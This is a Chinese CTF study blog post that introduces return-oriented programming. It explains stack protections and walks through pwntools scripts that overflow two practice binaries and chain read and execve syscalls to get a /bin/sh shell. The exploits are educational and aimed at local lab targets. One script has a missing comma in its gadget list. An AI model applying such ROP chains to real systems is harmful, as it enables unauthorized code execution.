Rop初探一

前言

保研成功后,发现落下东西太多,没办法慢慢补,除了将过去的Web题补一下之外入门一下pwn吧,最近看舍友的面试,好像对二进制都有要求,免得到时候找实习的时候说我不懂二进制,是时候学一学了,先学几个ROP技巧吧,今天学一个ROP调用sytemcall,一些基础知识就跳过了XD

关于栈保护的一些绕过(Protection)

1.ASLR (Address Space Layout Randomization地址随机化)

每次程序执行时 stack ,library,heap位置都不一样

检查是否开启ASLR :cat /proc/sys/kernel/randomize_va_space

一个案例:使用ldd命令产看当前使用的library,有时候pwn题环境需要提供对方服务器的libc库就是有可能双方环境不太一样,需要换一下

uLEK2R.png

可以看到两次使用ls的时候(因为ls是libc里面的一个库函数,当然不止这一个),libc的地址是发生改变的

2.DEP(Data Execution Prevention 数据执行保护 又称NX)

可写的不可执行,可执行的不可写

uLV3Ss.png

每个段都给一定的权限,可以使用peda里面的vmmap命令去查看

3.PIE (Position independent Execution)地址无关可执行文件

gcc在默认情况下没有开启,编译时加上-fPIC -pie就可以开启

没开启的情况下程序的data段以及code段会是固定的

一旦开启之后data以及code也会跟着ALSR,因此前面说的ret2text/shellcode没有固定位置可以跳,就变得难很多

4.Stack Guard

编译器对stack overflow的一中保护机制,在函数被调用时,先在stack上放canary,函数返回前先检查这个值有没有被修改,可以有效防止缓冲区溢出

uO8KIA.png

ROP

是一种利用现有程序片段组合出想要功能的技巧(Return Oriented Programming)

可以使用ROP解除DEP限制,然后执行shellcode

可以使用ROP绕过ASLR的限制

可以使用ROP绕过StackGuard

可以使用ROP绕过PIE

控制ROP行为的code是“stack上排列的内容”

Gadget:一小段以ret结尾的code

ROP Chain:串联在一起的gadget,组合出需要的功能

Gadget执行完以后,还可以继续return

只要在stack上按正确的顺序排列好每个gadget的address和对应的stack frame,就可以执行复杂的功能了

uOYvWR.png

使用ROP的关键:

1.查找gadget:

ROPGadget

1
2
3
4
5
ROPgadget --binary  ./shellcode

ROPgadget --binary shellcode --opcode cd80c3

cd80c3 //代表int 80; ret

一般我们都是找单独有一条pop eax ; ret的语句前面有的任何东西可能都会是干扰

2.排列gadget

ROP类型

1.控制寄存器做systemcall

2.使用原有程序里的function

3.使用libc里的gadget或function(前面两种一般用于绕过DEP保护,最后一种绕过ASLR)

如果想要检查一些这个二进制文件存在什么保护的话,可以使用gdb的checksec去检查

uONij0.png

例子一(ROP做systemcall):

使用checksec可以发现该二进制文件是存在NX的保护的

寻找gadget,可以存放进一个文件,再使用vim的一个搜索功能去搜索,使用n继续往下搜索合适的

1
ROPgadget --binary ./rop > rop.txt

用qira去调试,使其报错观察其返回地址的偏移量为22个bytes

uvd9QH.png

然后寻找pop eax ; ret语句的一个地址,我们在exp里面可以测试一下,在qira里面观察其运行的步骤,注意这里面要加上一个返回地址,随意即可,不然的话qira回显不出来,可能跟程序的运行过程有关,还有rop也需要小端序,我们这里使用的是flat将整个rop小端序

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r = remote('127.0.0.1',4000)

pop_eax_ret = 0x080b90f6
rop = [
pop_eax_ret,
3,
0xdeadbeef

]
r.sendline('a'*22 + flat(rop))
r.interactive()

uvcWjK.png

这里可以观察到偏移量后加上pop eax的效果,该地址中的指令都是可以执行的,并且按照我的rop把3给存进eax中,经过ret命令后,EIP就会跳转到我瞎写的地址上,最后爆出错误

所以从这里开始开始构建systemcall,先构建read函数,根据表去构建即可

uvgh2q.png

但是我们需要先把ebx,ecx,edx的相关指令给找出来,可以是连续的pop再ret,也可以是单个pop再ret

但是ecx参数需要传进可写的的buf指针,我们需要去找,这里有好几个方法,第一个直接在gdb中使用vmmap去发现可写段,也可以使用&后台运行,然后cat他的maps去寻找可写段,另外也可以写bss段

uvWGrV.png

但是找的可写段还是要有点技巧的,程序可写空间一般都不会用完,我们从最后的地址,也就是对应上图的0x080ee000,减去个100字节左右的空间,最后edx存放50个字节不超过上面ecx的就好,然后加上一个随机地址方便调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
r = remote('127.0.0.1',4000)

pop_eax_ret = 0x080b90f6
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080595b3
pop_edx_ret = 0x0806e7da
buf = 0x080ee000 - 100
rop = [
pop_eax_ret,
3,
pop_ebx_ret,
0,
pop_ecx_ret,
buf,
pop_edx_ret,
50,
0xdeadbeef
]
r.sendline('a'*22 + flat(rop))
r.interactive()

接下来要让系统执行该代码,就需要系统中断int 0x80,然后寻找这种代码可以使用这个命令ROPgadget --binary shellcode --opcode cd80c3其中的cd80c3就是int 0x80,而–opcode代表按照操作符进行查找

uxPWxs.png

帮刚才的调试地址更换为该地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
r = remote('127.0.0.1',4000)

pop_eax_ret = 0x080b90f6
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080595b3
pop_edx_ret = 0x0806e7da
buf = 0x080ee000 - 100
int_0x80_ret = 0x0806ef00

rop = [
pop_eax_ret,
3,
pop_ebx_ret,
0,
pop_ecx_ret,
buf,
pop_edx_ret,
50,
int_0x80_ret

]

r.sendline('a'*22 + flat(rop))
r.interactive()

再使用qira进行调试可以发现,返回到int 0x80后会调用read函数,但是没有赋值

uxisyR.png

输入/bin/bash后就可以发现返回该字符串长度,内容存放在ecx中

uxFTCF.png

下面最后一步就是调用系统函数去完成对/bin/sh或/bin/bash调用,同样我们只需要构造systemcall即可,eax赋值为0xb,ebx赋值要执行的命令,buf里的内容即可,ecx,edx赋值为0即可,别忘了系统调用,同时我们还需要给个输入,所以我们需要去sleep个2s,再给他发送一个/bin/sh,还需要\x00去做一个截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
r = remote('127.0.0.1',4000)

pop_eax_ret = 0x080b90f6
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080595b3
pop_edx_ret = 0x0806e7da
buf = 0x080ee000 - 100
int_0x80_ret = 0x0806ef00

rop = [
pop_eax_ret,
3,
pop_ebx_ret,
0,
pop_ecx_ret,
buf,
pop_edx_ret,
50,
int_0x80_ret

pop_eax_ret,
0x0b,
pop_ebx_ret,
buf,
pop_ecx_ret,
0,
pop_edx_ret,
0,
int_0x80_ret
]

r.sendline('a'*22 + flat(rop))
sleep(2)
r.sendline('/bin/sh\x00')
r.interactive()

例子二(simplerop):

uxEI4f.png

存在NX保护,需要rop去绕过,这里还是使用上面构造systemcall的方法来使用,尝试溢出,查找偏移量,偏移量为32个字节

uxVe56.png

构造好pwntools的框架

1
2
3
4
5
from pwn import *
r = remote('127.0.0.1',4000)
rop = []
r.sendline('a'*32 + flat(rop))
r.interactive()

开始寻找先可执行的代码ROPgadget --binary ./simplerop > simple.txt

然户寻找可写段

uxnnwd.png

这个题目跟上面的有点不同就是寻找的ret语句,没有单一的 pop ecx,需要找组合的,最后还是要注意‘/bin/sh’需要加上\x00,不然的话读取的时候可能没限制地读了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
r = remote('127.0.0.1',4000)
pop_eax_ret = 0x080bae06
pop_ebx_ret = 0x080481c9
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
int_0x80_ret = 0x0806eef0
buf = 0x080ec304 - 100


rop = [
pop_eax_ret,
3,
pop_ecx_ebx_ret,
buf,
0,
pop_edx_ret,
50,
int_0x80_ret,

pop_eax_ret,
0x0b,
pop_ecx_ebx_ret,
0,
buf,
pop_edx_ret,
0,
int_0x80_ret

]

r.sendline('a'*32 + flat(rop))
sleep(3)
r.sendline('/bin/sh\x00')
r.interactive()

oj8k,溢出成功

uxl7o4.png


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 前言
    1. 1.1. 关于栈保护的一些绕过(Protection)
    2. 1.2. ROP
      1. 1.2.1. 使用ROP的关键:
      2. 1.2.2. ROP类型